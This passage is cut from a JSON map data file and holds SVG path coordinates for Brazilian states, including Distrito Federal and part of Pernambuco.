81701.00 175843.67 81701.00 175833.00 81701.00C175811.67 81690.33 175790.33 81679.67 175769.00 81669.00C175758.33 81647.67 175747.67 81626.33 175737.00 81605.00C175737.00 81594.00 175737.00 81583.00 175737.00 81572.00C175747.67 81572.00 175758.33 81572.00 175769.00 81572.00C175779.67 81540.00 175790.33 81508.00 175801.00 81476.00C175801.00 81454.67 175801.00 81433.33 175801.00 81412.00C175790.33 81412.00 175779.67 81412.00 175769.00 81412.00C175769.00 81401.00 175769.00 81390.00 175769.00 81379.00C175758.33 81379.00 175747.67 81379.00 175737.00 81379.00C175737.00 81368.33 175737.00 81357.67 175737.00 81347.00C175726.00 81347.00 175715.00 81347.00 175704.00 81347.00C175693.33 81336.34 175682.67 81325.66 175672.00 81315.00C175672.00 81304.33 175672.00 81293.67 175672.00 81283.00C175682.67 81283.00 175693.33 81283.00 175704.00 81283.00C175693.33 81261.67 175682.67 81240.33 175672.00 81219.00C175672.00 81208.33 175672.00 81197.67 175672.00 81187.00C175661.33 81176.00 175650.67 81165.00 175640.00 81154.00C175618.67 81143.33 175597.33 81132.67 175576.00 81122.00C175576.00 81143.67 175576.00 81165.33 175576.00 81187.00C175565.33 81187.00 175554.67 81187.00 175544.00 81187.00C175533.00 81176.00 175522.00 81165.00 175511.00 81154.00C175500.33 81132.67 175489.67 81111.33 175479.00 81090.00C175436.33 81068.67 175393.67 81047.33 175351.00 81026.00C175340.33 81004.67 175329.67 80983.33 175319.00 80962.00C175308.00 80951.00 175297.00 80940.00 175286.00 80929.00C175297.00 80907.67 175308.00 80886.33 175319.00 80865.00C175319.00 80854.33 175319.00 80843.67 175319.00 80833.00C175286.67 80822.33 175254.33 80811.67 175222.00 80801.00C175222.00 80779.33 175222.00 80757.67 175222.00 80736.00C175211.33 80736.00 175200.67 80736.00 175190.00 80736.00C175179.33 80747.00 175168.67 80758.00 175158.00 80769.00C175158.00 80758.00 175158.00 80747.00 175158.00 80736.00C175136.33 80725.33 175114.67 80714.67 175093.00 80704.00C175093.00 80672.00 175093.00 80640.00 175093.00 80608.00C175071.67 80575.66 175050.33 80543.34 175029.00 80511.00C175029.00 80489.67 175029.00 80468.33 175029.00 80447.00C175039.67 80425.67 175050.33 80404.33 175061.00 80383.00C175071.67 80372.34 175082.33 80361.66 175093.00 80351.00C175082.33 80318.67 175071.67 80286.33 175061.00 80254.00C175050.33 80254.00 175039.67 80254.00 175029.00 80254.00C175039.67 80232.67 175050.33 80211.33 175061.00 80190.00C175050.33 80168.67 175039.67 80147.33 175029.00 80126.00C175039.67 80115.00 175050.33 80104.00 175061.00 80093.00z"},"br-07":{"name":"Distrito Federal","path":"M127474.00 104691.00C127474.00 104680.00 127474.00 104669.00 127474.00 104658.00C127495.67 104626.00 127517.33 104594.00 127539.00 104562.00C127581.67 104551.33 127624.33 104540.67 127667.00 104530.00C127678.00 104508.67 127689.00 104487.33 127700.00 104466.00C127732.00 104423.00 127764.00 104380.00 127796.00 104337.00C127806.67 104337.00 127817.33 104337.00 127828.00 104337.00C127838.67 104315.67 127849.33 104294.33 127860.00 104273.00C127849.33 104230.00 127838.67 104187.00 127828.00 104144.00C127817.33 104122.67 127806.67 104101.33 127796.00 104080.00C127774.67 104090.67 127753.33 104101.33 127732.00 104112.00C127710.33 104101.33 127688.67 104090.67 127667.00 104080.00C127667.00 104047.67 127667.00 104015.33 127667.00 103983.00C127678.01 103940.32 127689.00 103897.64 127700.01 103854.96C127710.68 103822.64 127721.34 103790.32 127732.00 103758.00C127753.33 103726.00 127774.67 103694.00 127796.00 103662.00C127817.33 103662.00 127838.67 103662.00 127860.00 103662.00C127860.00 103469.00 127860.00 103276.00 127860.00 103083.00C129103.33 103083.00 130346.67 103083.00 131590.00 103083.00C131590.00 103158.00 131590.00 103233.00 131590.00 103308.00C131611.33 103308.00 131632.67 103308.00 131654.00 103308.00C131675.67 103340.00 131697.33 103372.00 131719.00 103404.00C131729.67 103404.00 131740.33 103404.00 131751.00 103404.00C131751.00 103415.00 131751.00 103426.00 131751.00 103437.00C131761.67 103447.67 131772.33 103458.33 131783.00 103469.00C131826.00 103469.00 131869.00 103469.00 131912.00 103469.00C131944.00 103479.67 131976.00 103490.33 132008.00 103501.00C132018.67 103501.00 132029.33 103501.00 132040.00 103501.00C132050.67 103511.67 132061.33 103522.33 132072.00 103533.00C132061.33 103543.67 132050.67 103554.33 132040.00 103565.00C132018.67 103618.67 131997.33 103672.33 131976.00 103726.00C131986.67 103747.33 131997.33 103768.67 132008.00 103790.00C132008.00 103833.00 132008.00 103876.00 132008.00 103919.00C131997.33 103929.67 131986.67 103940.33 131976.00 103951.00C131986.67 103961.67 131997.33 103972.33 132008.00 103983.00C132018.67 103983.00 132029.33 103983.00 132040.00 103983.00C132050.67 103993.67 132061.33 104004.33 132072.00 104015.00C132072.00 104036.67 132072.00 104058.33 132072.00 104080.00C132061.33 104101.33 132050.67 104122.67 132040.00 104144.00C132040.00 104165.33 132040.00 104186.67 132040.00 104208.00C132050.67 104218.67 132061.33 104229.33 132072.00 104240.00C132072.00 104251.00 132072.00 104262.00 132072.00 104273.00C132061.33 104273.00 132050.67 104273.00 132040.00 104273.00C132040.00 104294.33 132040.00 104315.67 132040.00 104337.00C132040.00 104326.33 132040.00 104315.67 132040.00 104305.00C132040.00 104315.67 132040.00 104326.33 132040.00 104337.00C132029.33 104347.67 132018.67 104358.33 132008.00 104369.00C132008.00 104390.33 132008.00 104411.67 132008.00 104433.00C131997.33 104433.00 131986.67 104433.00 131976.00 104433.00C131965.33 104465.33 131954.67 104497.67 131944.00 104530.00C131933.33 104540.67 131922.67 104551.33 131912.00 104562.00C131912.00 104572.67 131912.00 104583.33 131912.00 104594.00C131901.00 104594.00 131890.00 104594.00 131879.00 104594.00C131879.00 104615.33 131879.00 104636.67 131879.00 104658.00C131868.33 104658.00 131857.67 104658.00 131847.00 104658.00C131836.33 104669.00 131825.67 104680.00 131815.00 104691.00C131815.00 104733.67 131815.00 104776.33 131815.00 104819.00C131804.33 104829.67 131793.67 104840.33 131783.00 104851.00C131793.67 104851.00 131804.33 104851.00 131815.00 104851.00C131815.00 104862.00 131815.00 104873.00 131815.00 104884.00C131804.33 104905.33 131793.67 104926.67 131783.00 104948.00C131772.33 104948.00 131761.67 104948.00 131751.00 104948.00C131761.67 104948.00 131772.33 104948.00 131783.00 104948.00C131783.00 104969.33 131783.00 104990.67 131783.00 105012.00C131793.67 105022.67 131804.33 105033.33 131815.00 105044.00C131804.33 105054.67 131793.67 105065.33 131783.00 105076.00C131804.33 105076.00 131825.67 105076.00 131847.00 105076.00C131836.33 105087.00 131825.67 105098.00 131815.00 105109.00C131815.00 105119.67 131815.00 105130.33 131815.00 105141.00C131825.67 105141.00 131836.33 105141.00 131847.00 105141.00C131847.00 105162.33 131847.00 105183.67 131847.00 105205.00C131825.67 105205.00 131804.33 105205.00 131783.00 105205.00C131793.67 105215.67 131804.33 105226.33 131815.00 105237.00C131815.00 105258.67 131815.00 105280.33 131815.00 105302.00C131804.33 105302.00 131793.67 105302.00 131783.00 105302.00C131783.00 105366.00 131783.00 105430.00 131783.00 105494.00C131793.67 105494.00 131804.33 105494.00 131815.00 105494.00C131815.00 105505.00 131815.00 105516.00 131815.00 105527.00C131825.67 105527.00 131836.33 105527.00 131847.00 105527.00C131847.00 105537.67 131847.00 105548.33 131847.00 105559.00C131868.67 105559.00 131890.33 105559.00 131912.00 105559.00C131912.00 105569.67 131912.00 105580.33 131912.00 105591.00C131922.67 105591.00 131933.33 105591.00 131944.00 105591.00C131944.00 105601.67 131944.00 105612.33 131944.00 105623.00C131954.67 105612.33 131965.33 105601.67 131976.00 105591.00C131986.67 105612.33 131997.33 105633.67 132008.00 105655.00C132018.67 105655.00 132029.33 105655.00 132040.00 105655.00C132040.00 105665.67 132040.00 105676.33 132040.00 105687.00C132061.67 105687.00 132083.33 105687.00 132105.00 105687.00C132094.00 105697.67 132083.00 105708.33 132072.00 105719.00C132083.00 105719.00 132094.00 105719.00 132105.00 105719.00C132105.00 105730.00 132105.00 105741.00 132105.00 105752.00C131515.33 105752.00 130925.67 105752.00 130336.00 105752.00C130121.67 105762.67 129907.33 105773.33 129693.00 105784.00C128964.33 105784.00 128235.67 105784.00 127507.00 105784.00C127507.00 105773.33 127507.00 105762.67 127507.00 105752.00C127517.67 105719.67 127528.33 105687.33 127539.00 105655.00C127539.00 105623.00 127539.00 105591.00 127539.00 105559.00C127549.67 105537.33 127560.33 105515.67 127571.00 105494.00C127581.67 105462.00 127592.33 105430.00 127603.00 105398.00C127592.33 105387.33 127581.67 105376.67 127571.00 105366.00C127592.33 105344.67 127613.67 105323.33 127635.00 105302.00C127635.00 105269.67 127635.00 105237.33 127635.00 105205.00C127613.67 105194.33 127592.33 105183.67 127571.00 105173.00C127560.33 105183.67 127549.67 105194.33 127539.00 105205.00C127528.33 105194.33 127517.67 105183.67 127507.00 105173.00C127507.00 105162.33 127507.00 105151.67 127507.00 105141.00C127517.67 105141.00 127528.33 105141.00 127539.00 105141.00C127539.00 105119.33 127539.00 105097.67 127539.00 105076.00C127528.33 105076.00 127517.67 105076.00 127507.00 105076.00C127507.00 105044.00 127507.00 105012.00 127507.00 104980.00C127517.67 104969.33 127528.33 104958.67 127539.00 104948.00C127528.33 104937.33 127517.67 104926.67 127507.00 104916.00C127496.00 104862.33 127485.00 104808.67 127474.00 104755.00C127474.00 104733.67 127474.00 104712.33 127474.00 104691.00z"},"br-17":{"name":"Pernambuco","path":"M160271.00 69901.00C160303.00 69901.00 160335.00 69901.00 160367.00 69901.00C160410.00 69879.33 160453.00 69857.67 160496.00 69836.00C160506.74 69825.19 160517.62 69814.50 160528.28 69803.62C160560.19 69761.08 160592.09 69718.54 160624.00 69676.00C160677.67 69676.00 160731.33 69676.00 160785.00 69676.00C160806.67 69665.00 160828.33 69654.00 160850.00 69643.00C160860.67 69632.33 160871.33 69621.67 160882.00 69611.00C160903.33 69611.00 160924.67 69611.00 160946.00 69611.00C160967.33 69589.67 160988.67 69568.33 161010.00 69547.00C160999.33 69515.00 160988.67 69483.00 160978.00 69451.00C160978.00 69429.33 160978.00 69407.67 160978.00 69386.00C160988.67 69386.00 160999.33 69386.00 161010.00 69386.00C161020.67 69375.33 161031.33 69364.67 161042.00 69354.00C161063.67 69354.00 161085.33 69354.00 161107.00 69354.00C161139.00 69322.00 161171.00 69290.00 161203.00 69258.00C161224.67 69215.00 161246.33 69172.00 161268.00 69129.00C161268.00 69107.67 161268.00 69086.33 161268.00 69065.00C161289.33 69065.00 161310.67 69065.00 161332.00 69065.00C161342.67 69075.67 161353.33 69086.33 161364.00 69097.00C161374.67 69097.00 161385.33 69097.00 161396.00 69097.00C161417.33 69086.33 161438.67 69075.67 161460.00 69065.00C161471.00 69043.33 161482.00 69021.67 161493.00 69000.00C161503.67 69000.00 161514.33 69000.00 161525.00 69000.00C161535.67 68989.33 161546.33 68978.67 161557.00 68968.00C161567.67 68936.00 161578.33 68904.00 161589.00 68872.00C161589.00 68839.67 161589.00 68807.33 161589.00 68775.00C161632.00 68786.00 161675.00 68797.00 161718.00 68808.00C161728.70 68754.26 161739.33 68700.50 161750.07 68646.78C161760.72 68614.52 161771.36 68582.26 161782.00 68550.00C161835.67 68539.33 161889.33 68528.67 161943.00 68518.00C161953.67 68486.00 161964.33 68454.00 161975.00 68422.00C161985.67 68422.00 161996.33 68422.00 162007.00 68422.00C162028.33 68411.33 162049.67 68400.67 162071.00 68390.00C162092.67 68411.33 162114.33 68432.67 162136.00 68454.00C162136.00 68464.67 162136.00 68475.33 162136.00 68486.00C162146.74 68496.70 162157.41 68507.49 162168.20 68518.13C162200.13 68539.42 162232.07 68560.71 162264.00 68582.00C162285.67 68603.67 162307.33 68625.33 162329.00 68647.00C162350.33 68625.33 162371.67 68603.67 162393.00 68582.00C162403.67 68560.67 162414.33 68539.33 162425.00 68518.00C162425.00 68475.33 162425.00 68432.67 162425.00 68390.00C162435.67 68379.00 162446.33 68368.00 162457.00 68357.00C162467.67 68357.00 162478.33 68357.00 162489.00 68357.00C162489.00 68325.00 162489.00 68293.00 162489.00 68261.00C162478.33 68261.00 162467.67 68261.00 162457.00 68261.00C162467.67 68239.67 162478.33 68218.33 162489.00 68197.00C162521.33 68197.00 162553.67 68197.00 162586.00 68197.00C162596.67 68207.67 162607.33 68218.33 162618.00 68229.00C162628.67 68250.33 162639.33 68271.67 162650.00 68293.00C162650.00 68303.67 162650.00 68314.33 162650.00 68325.00C162682.33 68325.00 162714.67 68325.00 162747.00 68325.00C162779.00 68293.00 162811.00 68261.00 162843.00 68229.00C162832.33 68186.00 162821.67 68143.00 162811.00 68100.00C162821.67 68089.33 162832.33 68078.67 162843.00 68068.00C162843.00 68057.33 162843.00 68046.67 162843.00 68036.00C162886.00 68025.33 162929.00 68014.67 162972.00 68004.00C162972.00 67982.33 162972.00 67960.67 162972.00 67939.00C162982.67 67939.00 162993.33 67939.00 163004.00 67939.00C163004.00 67917.67 163004.00 67896.33 163004.00 67875.00C163014.67 67864.33 163025.33 67853.67 163036.00 67843.00C163025.33 67800.00 163014.67 67757.00 163004.00 67714.00C163025.33 67703.33 163046.67 67692.67 163068.00 67682.00C163078.67 67671.33 163089.33 67660.67 163100.00 67650.00C163132.33 67639.33 163164.67 67628.67 163197.00 67618.00C163218.33 67596.67 163239.67 67575.33 163261.00 67554.00C163293.00 67554.00 163325.00 67554.00 163357.00 67554.00C163357.00 67543.00 163357.00 67532.00 163357.00 67521.00C163368.00 67499.67 163379.00 67478.33 163390.00 67457.00C163400.67 67446.33 163411.33 67435.67 163422.00 67425.00C163432.67 67403.67 163443.33 67382.33 163454.00 67361.00C163475.33 67361.00 163496.67 67361.00 163518.00 67361.00C163528.67 67350.33 163539.33 67339.67 163550.00 67329.00C163550.00 67307.33 163550.00 67285.67 163550.00 67264.00C163561.00 67253.33 163572.00 67242.67 163583.00 67232.00C163604.33 67232.00 163625.67 67232.00 163647.00 67232.00C163657.67 67221.33 163668.33 67210.67 163679.00 67200.00C163679.00 67189.33 163679.00 67178.67 163679.00 67168.00C163689.67 67157.33 163700.33 67146.67 163711.00 67136.00C163764.67 67157.33 163818.33 67178.67 163872.00 67200.00C163872.00 67189.33 163872.00 67178.67 163872.00 67168.00C163882.67 67157.33 163893.33 67146.67 163904.00 67136.00C163904.00 67114.33 163904.00 67092.67 163904.00 67071.00C163893.33 67060.33 163882.67 67049.67 163872.00 67039.00C163861.33 67017.67 163850.67 66996.33 163840.00 66975.00C163850.71 66931.93 163861.33 66888.84 163872.09 66845.78C163893.43 66792.04 163914.84 66738.31 163936.15 66684.55C163946.77 66652.70 163957.38 66620.85 163968.00 66589.00C164021.67 66492.67 164075.33 66396.33 164129.00 66300.00C164129.03 66267.51 164128.95 66235.02 164129.04 66202.53C164139.69 66073.94 164150.39 65945.35 164161.00 65816.76C164161.00 65795.51 164161.00 65774.26 164161.00 65753.00C164150.33 65721.00 164139.67 65689.00 164129.00 65657.00C164129.00 65646.00 164129.00 65635.00 164129.00 65624.00C164097.00 65592.00 164065.00 65560.00 164033.00 65528.00C164022.33 65528.00 164011.67 65528.00 164001.00 65528.00C163915.00 65495.67 163829.00 65463.33 163743.00 65431.00C163700.33 65420.33 163657.67 65409.67 163615.00 65399.00C163582.67 65367.00 163550.33 65335.00 163518.00 65303.00C163507.33 65238.67 163496.67 65174.33 163486.00 65110.00C163507.33 65045.67 163528.67 64981.33 163550.00 64917.00C163582.33 64852.67 163614.67 64788.33 163647.00 64724.00C163647.00 64649.00 163647.00 64574.00 163647.00 64499.00C163636.33 64488.33 163625.67 64477.67 163615.00 64467.00C163615.00 64456.33 163615.00 64445.67 163615.00 64435.00C163561.27 64370.62 163507.59 64306.19 163453.83 64241.83C163443.22 64231.22 163432.61 64220.61 163422.00 64210.00C163389.67 64124.00 163357.33 64038.00 163325.00 63952.00C163325.00 63930.67 163325.00 63909.33 163325.00 63888.00C163335.67 63866.67 163346.33 63845.33 163357.00 63824.00C163410.67 63813.33 163464.33 63802.67 163518.00 63792.00C163539.67 63781.00 163561.33 63770.00 163583.00 63759.00C163593.67 63737.67 163604.33 63716.33 163615.00 63695.00C163775.67 63630.67 163936.33 63566.33 164097.00 63502.00C164172.00 63491.33 164247.00 63480.67 164322.00 63470.00C164525.67 63470.00 164729.33 63470.00 164933.00 63470.00C165018.67 63448.67 165104.33 63427.33 165190.00 63406.00C165233.00 63427.33 165276.00 63448.67 165319.00 63470.00C165340.33 63470.00 165361.67 63470.00 165383.00 63470.00C165393.70 63480.74 165404.49 63491.40 165415.13 63502.20C165458.09 63566.46 165501.04 63630.73 165544.00 63695.00C165694.23 63662.96 165844.45 63630.88 165994.69 63598.87C166112.46 63577.25 166230.23 63555.62 166348.00 63534.00C166433.67 63534.00 166519.33 63534.00 166605.00 63534.00C166626.33 63512.67 166647.67 63491.33 166669.00 63470.00C166712.00 63480.67 166755.00 63491.33 166798.00 63502.00C166830.00 63491.33 166862.00 63480.67 166894.00 63470.00C166969.00 63384.33 167044.00 63298.67 167119.00 63213.00C167130.00 63213.00 167141.00 63213.00 167152.00 63213.00C167173.33 63223.67 167194.67 63234.33 167216.00 63245.00C167269.67 63223.67 167323.33 63202.33 167377.00 63181.00C167387.67 63170.33 167398.33 63159.67 167409.00 63149.00C167441.00 63159.67 167473.00 63170.33 167505.00 63181.00C167569.33 63181.00 167633.67 63181.00 167698.00 63181.00C167751.82 63170.32 167805.64 63159.57 167859.47 63148.93C167934.31 63137.95 168009.16 63126.98 168084.00 63116.00C168116.33 63116.00 168148.67 63116.00 168181.00 63116.00C168213.00 63105.33 168245.00 63094.67 168277.00 63084.00C168287.67 63084.00 168298.33 63084.00 168309.00 63084.00C168330.33 63105.67 168351.67 63127.33 168373.00 63149.00C168405.33 63170.33 168437.67 63191.67 168470.00 63213.00C168502.00 63213.00 168534.00 63213.00 168566.00 63213.00C168576.67 63223.67 168587.33 63234.33 168598.00 63245.00C168609.00 63245.00 168620.00 63245.00 168631.00 63245.00C168652.33 63277.33 168673.67 63309.67 168695.00 63342.00C168716.33 63363.33 168737.67 63384.67 168759.00 63406.00C168791.45 63427.44 168823.95 63448.81 168856.38 63470.28C168898.92 63502.52 168941.46 63534.76 168984.00 63567.00C168994.67 63567.00 169005.33 63567.00 169016.00 63567.00C169037.67 63588.33 169059.33 63609.67 169081.00 63631.00C169091.67 63652.33 169102.33 63673.67 169113.00 63695.00C169134.33 63716.33 169155.67 63737.67 169177.00 63759.00C169220.00 63770.00 169263.00 63781.00 169306.00 63792.00C169316.67 63792.00 169327.33 63792.00 169338.00 63792.00C169399.32 63822.46 169460.72 63852.76 169521.93 63883.46C169525.04 63884.94 169528.08 63886.70 169531.24 63888.00C169541.82 63888.00 169552.41 63888.00 169563.00 63888.00C169606.05 63920.40 169649.15 63952.73 169692.17 63985.17C169726.09 64019.09 169759.97 64053.06 169794.08 64086.79C169824.39 64116.86 169854.69 64146.93 169885.00 64177.00C169906.33 64188.00 169927.67 64199.00 169949.00 64210.00C169949.04 64220.74 169948.92 64231.50 169949.06 64242.23C169959.70 64284.82 169970.35 64327.41 169981.00 64370.00C170002.33 64402.33 170023.67 64434.67 170045.00 64467.00C170056.00 64477.67 170067.00 64488.33 170078.00 64499.00C170088.67 64499.00 170099.33 64499.00 170110.00 64499.00C170120.67 64509.67 170131.33 64520.33 170142.00 64531.00C170131.33 64531.00 170120.67 64531.00 170110.00 64531.00C170087.85 64552.85 170065.61 64574.61 170043.53 64596.52C170033.35 64607.01 170023.18 64617.51 170013.00 64628.00C170013.00 64660.00 170013.00 64692.00 170013.00 64724.00C170002.33 64734.67 169991.67 64745.33 169981.00 64756.00C169981.00 64777.67 169981.00 64799.33 169981.00 64821.00C170024.00 64821.00 170067.00 64821.00 170110.00 64821.00C170120.67 64810.00 170131.33 64799.00 170142.00 64788.00C170152.67 64799.00 170163.33 64810.00 170174.00 64821.00C170174.00 64831.67 170174.00 64842.33 170174.00 64853.00C170206.00 64863.67 170238.00 64874.33 170270.00 64885.00C170270.00 64917.00 170270.00 64949.00 170270.00 64981.00C170259.33 64991.67 170248.67 65002.33 170238.00 65013.00C170259.67 65013.00 170281.33 65013.00 170303.00 65013.00C170313.67 65002.33 170324.33 64991.67 170335.00 64981.00C170356.33 64981.00 170377.67 64981.00 170399.00 64981.00C170420.33 64970.33 170441.67 64959.67 170463.00 64949.00C170495.33 64959.67 170527.67 64970.33 170560.00 64981.00C170581.33 65013.33 170602.67 65045.67 170624.00 65078.00C170667.00 65078.00 170710.00 65078.00 170753.00 65078.00C170774.33 65088.67 170795.67 65099.33 170817.00 65110.00C170827.67 65142.00 170838.33 65174.00 170849.00 65206.00C170881.33 65227.67 170913.67 65249.33 170946.00 65271.00C170946.00 65292.33 170946.00 65313.67 170946.00 65335.00C170956.67 65356.33 170967.33 65377.67 170978.00 65399.00C170988.67 65442.00 170999.33 65485.00 171010.00 65528.00C171010.00 65549.33 171010.00 65570.67 171010.00 65592.00C171020.67 65613.67 171031.33 65635.33 171042.00 65657.00C171020.67 65678.33 170999.33 65699.67 170978.00 65721.00C170988.67 65731.67 170999.33 65742.33 171010.00 65753.00C171053.00 65721.00 171096.00 65689.00 171139.00 65657.00C171160.33 65624.67 171181.67 65592.33 171203.00 65560.00C171246.00 65570.67 171289.00 65581.33 171332.00 65592.00C171342.67 65581.33 171353.33 65570.67 171364.00 65560.00C171374.67 65560.00 171385.33 65560.00 171396.00 65560.00C171406.67 65592.33 171417.33 65624.67 171428.00 65657.00C171428.00 65667.67 171428.00 65678.33 171428.00 65689.00C171460.00 65699.67 171492.00 65710.33 171524.00 65721.00C171535.00 65710.33 171546.00 65699.67 171557.00 65689.00C171578.33 65689.00 171599.67 65689.00 171621.00 65689.00C171621.00 65667.33 171621.00 65645.67 171621.00 65624.00C171631.67 65613.33 171642.33 65602.67 171653.00 65592.00C171674.33 65549.33 171695.67 65506.67 171717.00 65464.00C171706.33 65442.33 171695.67 65420.67 171685.00 65399.00C171695.67 65377.67 171706.33 65356.33 171717.00 65335.00C171717.00 65313.67 171717.00 65292.33 171717.00 65271.00C171727.67 65271.00 171738.33 65271.00 171749.00 65271.00C171760.00 65260.33 171771.00 65249.67 171782.00 65239.00C171792.67 65249.67 171803.33 65260.33 171814.00 65271.00C171824.67 65271.00 171835.33 65271.00 171846.00 65271.00C171846.00 65249.33 171846.00 65227.67 171846.00 65206.00C171867.33 65206.00 171888.67 65206.00 171910.00 65206.00C171920.67 65217.00 171931.33 65228.00 171942.00 65239.00C171963.67 65228.00 171985.33 65217.00 172007.00 65206.00C172007.00 65174.00 172007.00 65142.00 172007.00 65110.00C172028.33 65088.67 172049.67 65067.33 172071.00 65046.00C172092.33 65056.67 172113.67 65067.33 172135.00 65078.00C172188.67 65078.00 172242.33 65078.00 172296.00 65078.00C172306.67 65045.67 172317.33 65013.33 172328.00 64981.00C172328.00 64959.67 172328.00 64938.33 172328.00 64917.00C172306.67 64906.33 172285.33 64895.67 172264.00 64885.00C172274.67 64863.67 172285.33 64842.33 172296.00 64821.00C172306.67 64821.00 172317.33 64821.00 172328.00 64821.00C172328.00 64831.67 172328.00 64842.33 172328.00 64853.00C172371.00 64853.00 172414.00 64853.00 172457.00 64853.00C172467.67 64842.33 172478.33 64831.67 172489.00 64821.00C172489.00 64810.00 172489.00 64799.00 172489.00 64788.00C172499.67 64799.00 172510.33 64810.00 172521.00 64821.00C172542.33 64810.00 172563.67 64799.00 172585.00 64788.00C172606.67 64788.00 172628.33 64788.00 172650.00 64788.00C172660.67 64766.67 172671.33 64745.33 172682.00 64724.00C172692.67 64713.33 172703.33 64702.67 172714.00 64692.00C172703.33 64681.33 172692.67 64670.67 172682.00 64660.00C172703.33 64649.33 172724.67 64638.67 172746.00 64628.00C172756.67 64628.00 172767.33 64628.00 172778.00 64628.00C172778.00 64617.00 172778.00 64606.00 172778.00 64595.00C172799.67 64595.00 172821.33 64595.00 172843.00 64595.00C172853.67 64616.67 172864.33 64638.33 172875.00 64660.00C172896.33 64660.00 172917.67 64660.00 172939.00 64660.00C172960.67 64702.67 172982.33 64745.33 173004.00 64788.00C173014.67 64788.00 173025.33 64788.00 173036.00 64788.00C173057.33 64809.67 173078.67 64831.33 173100.00 64853.00C173100.00 64863.67 173100.00 64874.33 173100.00 64885.00C173110.67 64885.00 173121.33 64885.00 173132.00 64885.00C173132.00 64895.67 173132.00 64906.33 173132.00 64917.00C173164.33 64927.67 173196.67 64938.33 173229.00 64949.00C173229.00 64981.33 173229.00 65013.67 173229.00 65046.00C173239.67 65046.00 173250.33 65046.00 173261.00 65046.00C173271.67 65067.33 173282.33 65088.67 173293.00 65110.00C173293.00 65131.33 173293.00 65152.67 173293.00 65174.00C173314.33 65184.67 173335.67 65195.33 173357.00 65206.00C173357.00 65227.67 173357.00 65249.33 173357.00 65271.00C173378.33 65271.00 173399.67 65271.00 173421.00 65271.00C173432.00 65249.33 173443.00 65227.67 173454.00 65206.00C173454.00 65227.67 173454.00 65249.33 173454.00 65271.00C173464.67 65260.33 173475.33 65249.67 173486.00 65239.00C173496.67 65249.67 173507.33 65260.33 173518.00 65271.00C173550.00 65260.33 173582.00 65249.67 173614.00 65239.00C173635.67 65249.67 173657.33 65260.33 173679.00 65271.00C173700.33 65260.33 173721.67 65249.67 173743.00 65239.00C173775.33 65239.00 173807.67 65239.00 173840.00 65239.00C173840.00 65217.33 173840.00 65195.67 173840.00 65174.00C173850.67 65163.33 173861.33 65152.67 173872.00 65142.00C173904.00 65142.00 173936.00 65142.00 173968.00 65142.00C173989.33 65120.67 174010.67 65099.33 174032.00 65078.00C174064.33 65078.00 174096.67 65078.00 174129.00 65078.00C174139.67 65099.33 174150.33 65120.67 174161.00 65142.00C174193.00 65142.00 174225.00 65142.00 174257.00 65142.00C174268.00 65120.67 174279.00 65099.33 174290.00 65078.00C174279.00 65067.33 174268.00 65056.67 174257.00 65046.00C174300.00 65035.00 174343.00 65024.00 174386.00 65013.00C174396.67 65002.33 174407.33 64991.67 174418.00 64981.00C174418.00 64970.33 174418.00 64959.67 174418.00 64949.00C174433.69 64933.37 174449.20 64917.57 174465.20 64902.26C174471.14 64896.50 174477.07 64890.75 174483.00 64885.00C174504.33 64917.00 174525.67 64949.00 174547.00 64981.00C174557.67 64970.33 174568.33 64959.67 174579.00 64949.00C174589.67 64959.67 174600.33 64970.33 174611.00 64981.00C174621.67 64970.33 174632.33 64959.67 174643.00 64949.00C174654.00 64959.67 174665.00 64970.33 174676.00 64981.00C174676.00 65013.33 174676.00 65045.67 174676.00 65078.00C174686.67 65078.00 174697.33 65078.00 174708.00 65078.00C174697.33 65099.33 174686.67 65120.67 174676.00 65142.00C174697.33 65163.33 174718.67 65184.67 174740.00 65206.00C174718.67 65238.33 174697.33 65270.67 174676.00 65303.00C174708.00 65303.00 174740.00 65303.00 174772.00 65303.00C174761.33 65313.67 174750.67 65324.33 174740.00 65335.00C174750.67 65345.67 174761.33 65356.33 174772.00 65367.00C174761.33 65388.33 174750.67 65409.67 174740.00 65431.00C174750.67 65474.00 174761.33 65517.00 174772.00 65560.00C174794.14 65582.19 174816.38 65604.28 174838.46 65626.53C174848.30 65636.69 174858.15 65646.85 174868.00 65657.00C174889.67 65646.00 174911.33 65635.00 174933.00 65624.00C174975.67 65624.00 175018.33 65624.00 175061.00 65624.00C175061.00 65613.33 175061.00 65602.67 175061.00 65592.00C175082.67 65592.00 175104.33 65592.00 175126.00 65592.00C175147.33 65570.67 175168.67 65549.33 175190.00 65528.00C175211.39 65517.28 175232.83 65506.63 175254.20 65495.87C175286.46 65474.25 175318.73 65452.62 175351.00 65431.00C175372.33 65409.67 175393.67 65388.33 175415.00 65367.00C175436.33 65377.67 175457.67 65388.33 175479.00 65399.00C175489.67 65399.00 175500.33 65399.00 175511.00 65399.00C175522.00 65420.67 175533.00 65442.33 175544.00 65464.00C175565.33 65485.33 175586.67 65506.67 175608.00 65528.00C175608.00 65538.67 175608.00 65549.33 175608.00 65560.00C175618.67 65570.67 175629.33 65581.33 175640.00 65592.00C175704.33 65602.67 175768.67 65613.33 175833.00 65624.00C175843.67 65613.33 175854.33 65602.67 175865.00 65592.00C175865.00 65581.33 175865.00 65570.67 175865.00 65560.00C175854.33 65538.67 175843.67 65517.33 175833.00 65496.00C175833.00 65453.00 175833.00 65410.00 175833.00 65367.00C175843.74 65356.29 175854.41 65345.52 175865.19 65334.86C175908.13 65302.91 175951.06 65270.95 175994.00 65239.00C176026.07 65249.71 176058.16 65260.34 176090.21 65271.10C176111.81 65281.74 176133.40 65292.37 176155.00 65303.00C176155.00 65324.33 176155.00 65345.67 176155.00 65367.00C176176.33 65367.00 176197.67 65367.00 176219.00 65367.00C176229.67 65356.33 176240.33 65345.67 176251.00 65335.00C176272.33 65345.67 176293.67 65356.33 176315.00 65367.00C176330.69 65351.37 176346.20 65335.57 176362.20 65320.26C176368.22 65314.49 176374.12 65308.57 176380.21 65302.89C176401.47 65292.26 176422.74 65281.63 176444.00 65271.00C176444.00 65249.33 176444.00 65227.67 176444.00 65206.00C176476.00 65184.67 176508.00 65163.33 176540.00 65142.00C176540.00 65110.00 176540.00 65078.00 176540.00 65046.00C176593.67 65046.00 176647.33 65046.00 176701.00 65046.00C176685.39 65029.96 176669.96 65013.75 176654.03 64998.03C176648.35 64992.35 176642.68 64986.68 176637.00 64981.00C176647.67 64970.33 176658.33 64959.67 176669.00 64949.00C176690.33 64938.33 176711.67 64927.67 176733.00 64917.00C176765.40 64873.95 176797.73 64830.85 176830.17 64787.83C176840.78 64777.22 176851.39 64766.61 176862.00 64756.00C176883.33 64745.33 176904.67 64734.67 176926.00 64724.00C176979.67 64724.00 177033.33 64724.00 177087.00 